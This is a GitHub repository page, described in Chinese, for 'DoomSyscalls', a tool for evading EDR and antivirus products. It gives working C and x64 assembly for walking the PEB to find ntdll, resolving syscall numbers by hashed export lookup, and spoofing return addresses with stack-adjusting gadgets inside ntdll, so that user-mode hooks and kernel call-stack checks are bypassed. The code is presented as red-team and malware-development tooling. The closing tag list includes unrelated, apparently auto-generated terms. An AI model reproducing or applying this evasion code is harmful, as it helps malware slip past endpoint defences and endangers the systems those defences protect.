SilentisVox/DoomSyscalls
GitHub: SilentisVox/DoomSyscalls
一款结合间接系统调用与返回地址伪造的 EDR 规避工具,通过动态解析 SSN 并在 ntdll 内伪造 RIP 实现用户态 Hook 和内核级返回地址检查的双重绕过。
Stars: 66 | Forks: 11
Destroying EDRs & AVs
Breakpoint set in x64dbg
每个 syscall 都是动态解析的。
对于每次 syscall,都会在 `ntdll.dll` 中找到一个唯一的返回地址。
它会从栈指针中减去一个大于等于 0x58 的数值,然后立即返回。
在观察其执行过程时,我们可以看到所有的 syscall 都已被解析。
每个 SSN 和 `syscall` 指令的地址都已被保存。
一个唯一的返回地址被获取并保存。
在调用我们的“科学怪人”存根时,我们会调整栈指针为我们捕获到的大小。
然后我们将所有参数复制到新的栈区域中。
执行手动存根 `mov r10, rcx; mov eax, [rel ssn]`。
最后,跳转到 `syscall` 指令。
一切准备就绪后,我们将执行权移交给内核。
我们会在 `ret` 处重新开始执行,并降落到我们唯一的“着陆点”。
获取到的值将从栈指针中被减去。
最后,执行 `ret`,此时 RIP 将返回到我们的代码中。
Continuing execution
## 技术细节。
###### 导出解析。
```
// The segment register (GS) contains a pointer the the TEB.
// At the 0x60 byte offset contains a pointer to the PEB.
ULONG_PTR GET_NTDLL() {
ULONG_PTR pPEB = __readgsqword(0x60);
ULONG_PTR pLdrData = *(ULONG_PTR *) (pPEB + 0x18);
ULONG_PTR pMdlList = *(ULONG_PTR *) (pLdrData + 0x30);
ULONG_PTR pModule = *(ULONG_PTR *) (pMdlList + 0x10);
return pModule;
}
// From the base address, the 0x3C offset contains the offset to the NT Headers
// From the NT Headers, the 0x88 offset contains the offset to the Export Directory.
VOID INIT_NTDLL_CONFIG() {
ULONG_PTR pNtdll = GET_NTDLL();
ULONG_PTR pNtHdr = (pNtdll + *(ULONG *) (pNtdll + 0x3C));
ULONG_PTR pExpDir = (pNtdll + *(ULONG *) (pNtHdr + 0x88));
NTDLL_CONFIG.pModule = pNtdll;
NTDLL_CONFIG.NumberOfNames = *(ULONG *) (pExpDir + 0x18);
NTDLL_CONFIG.ArrayOfAddresses = (pNtdll + *(ULONG *) (pExpDir + 0x1C));
NTDLL_CONFIG.ArrayOfNames = (pNtdll + *(ULONG *) (pExpDir + 0x20));
NTDLL_CONFIG.ArrayOfOrdinals = (pNtdll + *(ULONG *) (pExpDir + 0x24));
}
```
###### 定位 SSN 和 syscall。
```
// Parsing over every name to compare it to a given hash.
// Once a hash matches, that index reflects an ordinal.
// That ordinal reflects the address to a function.
// Parsing over the function bytes, find the SSN and syscall address.
VOID GET_NTDLL_FUN(ULONG SymbolHash, PNTDLL_FUNCTION SymbolData) {
if (!NTDLL_CONFIG.pModule)
INIT_NTDLL_CONFIG();
for (UINT index = 0; index != NTDLL_CONFIG.NumberOfNames; index++) {
PCHAR SymbolName = (PCHAR) (NTDLL_CONFIG.pModule + *(ULONG *) (NTDLL_CONFIG.ArrayOfNames + (index * 4)));
if (ROR7_32(SymbolName) != SymbolHash)
continue;
USHORT SLOT = *(USHORT *) (NTDLL_CONFIG.ArrayOfOrdinals + (index * 2));
SymbolData->SyscallStub = (NTDLL_CONFIG.pModule + *(ULONG *) (NTDLL_CONFIG.ArrayOfAddresses + (SLOT * 4)));
break;
}
for (UINT index = 0; index != 255; index++) {
if ((*(ULONG *) (SymbolData->SyscallStub + index) & 0xFF0000FF) != 0x000000B8)
continue;
SymbolData->SystemServiceNumber = *(ULONG *) (SymbolData->SyscallStub + index + 1);
break;
}
for (UINT index = 0; index != 255; index++) {
if (*(USHORT *) (SymbolData->SyscallStub + index) != 0x050f)
continue;
SymbolData->SyscallInstruction = SymbolData->SyscallStub + index;
break;
}
for (UINT index = 0, start = 0, random = rand() % NTDLL_CONFIG.NumberOfNames; index < NTDLL_CONFIG.NumberOfNames; index++, start++) {
if ((start + random) == NTDLL_CONFIG.NumberOfNames)
start = 0 - random;
USHORT SLOT = *(USHORT *) (NTDLL_CONFIG.ArrayOfOrdinals + ((start + random) * 2));
ULONG_PTR START = (NTDLL_CONFIG.pModule + *(ULONG*) (NTDLL_CONFIG.ArrayOfAddresses + (SLOT * 4)));
ULONG_PTR RETURN;
CHAR AMOUNT;
if (!IDEAL(START, &RETURN, &AMOUNT)) {
continue;
}
SymbolData->Landing = RETURN;
SymbolData->Size = AMOUNT;
break;
}
}
```
###### 定位虚假返回地址。
```
// Parse over any given function, if there contains an ideal setup, return.
BOOL IDEAL(ULONG_PTR START, ULONG_PTR *RETURN, CHAR *SIZE) {
for (UINT index = 0; index < 255; index++) {
ULONG_PTR SEARCH = *(ULONG_PTR *) (START + index);
CHAR AMOUNT = *(CHAR *) (START + index + 3);
if (
(((SEARCH & 0x000000FF00FFFFFF) == 0x000000C300C48348) ||
((SEARCH & 0xFFFFFFFF00FFFFFF) == 0xC300000000C48148)) &&
(AMOUNT >= 0x58)
) {
*RETURN = START + index;
*SIZE = AMOUNT;
return TRUE;
}
}
return FALSE;
}
```
###### 存根处理。
```
RUN_SYSCALL:
; ADJUST STACK
MOV AL, BYTE [REL STACK_SIZE]
SUB RSP, RAX
; SPOOF RETURN
MOV RAX, QWORD [REL DUMMY_RETURN]
PUSH RAX
; COPY PARAMS
...
STUB:
; MANUAL STUB
MOV R10, RCX
MOV EAX, DWORD [REL SYSTEM_SERVICE_NUMBER]
JMP QWORD [REL SYSCALL_ADDRESS]
```
## 参考。
- 原版 HellsGate https://github.com/am0nsec/HellsGate/tree/master
- 原版 HalosGate https://blog.sektor7.net/#!res/2021/halosgate.md
- DLL 代理 https://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing
标签:Awesome列表, C/C++, Chrome扩展, Conpot, DNS 反向解析, DNS 解析, EDR绕过, Hook规避, ntdll.dll, RIP伪造, SSN解析, Windows安全, x64汇编, 中高交互蜜罐, 事务性I/O, 云资产清单, 免杀技术, 内核对抗, 安全AI, 客户端加密, 快速连接, 恶意软件开发, 数据展示, 暴力破解检测, 汇编语言, 系统底层, 红队, 绕过AV, 绕过EDR, 网络安全, 返回地址伪造, 逆向工程, 间接系统调用, 隐私保护, 高交互蜜罐